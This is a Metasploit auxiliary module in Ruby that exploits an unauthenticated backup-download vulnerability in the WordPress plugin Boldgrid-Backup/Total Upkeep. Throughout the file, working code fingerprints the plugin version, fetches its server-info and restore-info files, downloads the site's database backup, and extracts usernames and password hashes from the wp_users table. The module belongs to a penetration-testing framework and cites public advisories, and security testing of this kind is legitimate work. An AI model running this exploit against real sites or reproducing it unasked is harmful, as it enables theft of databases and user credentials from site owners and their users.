##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Total Upkeep Unauthenticated Backup Downloader',
        'Description' => %q{
          This module exploits an unauthenticated database backup vulnerability in WordPress plugin
          'Boldgrid-Backup' also known as 'Total Upkeep' version < 1.14.10.
          First, `env-info.php` is read to get server information.  Next, `restore-info.json` is
          read to retrieve the last backup file.  That backup is then downloaded, and any sql
          files will be parsed looking for the wp_users INSERT statement to grab user creds.
        },
        'References' => [
          ['EDB', '49252'],
          ['WPVDB', '10502'],
          ['WPVDB', '10503'],
          ['URL', 'https://plugins.trac.wordpress.org/changeset/2439376/boldgrid-backup']
        ],
        'Author' => [
          'Wadeek', # Vulnerability discovery
          'h00die' # Metasploit module
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DisclosureDate' => '2020-12-12',
        'License' => MSF_LICENSE
      )
    )
  end

  def run_host(ip)
    unless wordpress_and_online?
      fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
    end

    checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10')
    unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
      fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of Boldgrid Backup was not found"
    end
    print_good("#{ip} - Vulnerable version of Boldgrid Backup detected")

    print_status("#{ip} - Obtaining Server Info")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cli', 'env-info.php')
    })

    fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
    fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
    begin
      data = JSON.parse(res.body)
    rescue StandardError
      fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output.  Check response: #{res.body}"
    end
    output = []
    data.each do |k, v|
      output << "  #{k}: #{v}"
    end
    print_good("#{ip} - \n#{output.join("\n")}")
    path = store_loot(
      'boldgrid-backup.server.info',
      'text/json',
      ip,
      data,
      'env-info.json'
    )
    print_good("#{ip} - File saved in: #{path}")

    print_status("#{ip} - Obtaining Backup List from Cron")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json')
    })
    fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
    fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404
    fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200

    begin
      data = JSON.parse(res.body)
    rescue StandardError
      fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output.  Check response: #{res.body}"
    end
    output = []
    data.each do |k, v|
      output << "  #{k}: #{v}"
    end
    print_good("#{ip} - \n#{output.join("\n")}")
    path = store_loot(
      'boldgrid-backup.backup.info',
      'text/json',
      ip,
      data,
      'restore-info.json'
    )
    print_good("#{ip} - File saved in: #{path}")
    unless data['filepath']
      print_bad("#{ip} - no file found")
    end
    # pull a url from the local file system path
    path = data['filepath'].sub(data['ABSPATH'], '')
    print_status("#{ip} attempting download of #{path}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, path)
    })
    fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
    fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404
    fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
    path = store_loot(
      'boldgrid-backup.backup.zip',
      'application/zip',
      ip,
      res.body,
      path.split('/').last
    )
    print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}")

    Zip::File.open(path) do |zip_file|
      # Handle entries one by one
      zip_file.each do |entry|
        # Extract to file
        next unless entry.name.ends_with?('.sql')

        print_status("#{ip} - Attempting to pull creds from #{entry}")
        f = entry.get_input_stream.read
        f.split("\n").each do |l|
          next unless l.include?('INSERT INTO `wp_users` VALUES ')

          columns = ['user_login', 'user_pass']
          table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
          l.split('),(').each do |user|
            user = user.split(',')
            username = user[1].strip
            username = username.start_with?("'") ? username.gsub("'", '') : username
            hash = user[2].strip
            hash = hash.start_with?("'") ? hash.gsub("'", '') : hash
            create_credential({
              workspace_id: myworkspace_id,
              origin_type: :service,
              module_fullname: fullname,
              username: username,
              private_type: :nonreplayable_hash,
              jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
              private_data: hash,
              service_name: 'Wordpress',
              address: ip,
              port: datastore['RPORT'],
              protocol: 'tcp',
              status: Metasploit::Model::Login::Status::UNTRIED
            })
            table << [username, hash]
          end
          print_good(table.to_s)
        end
      end
    end
    print_status("#{ip} - finished processing backup zip")
  end
end
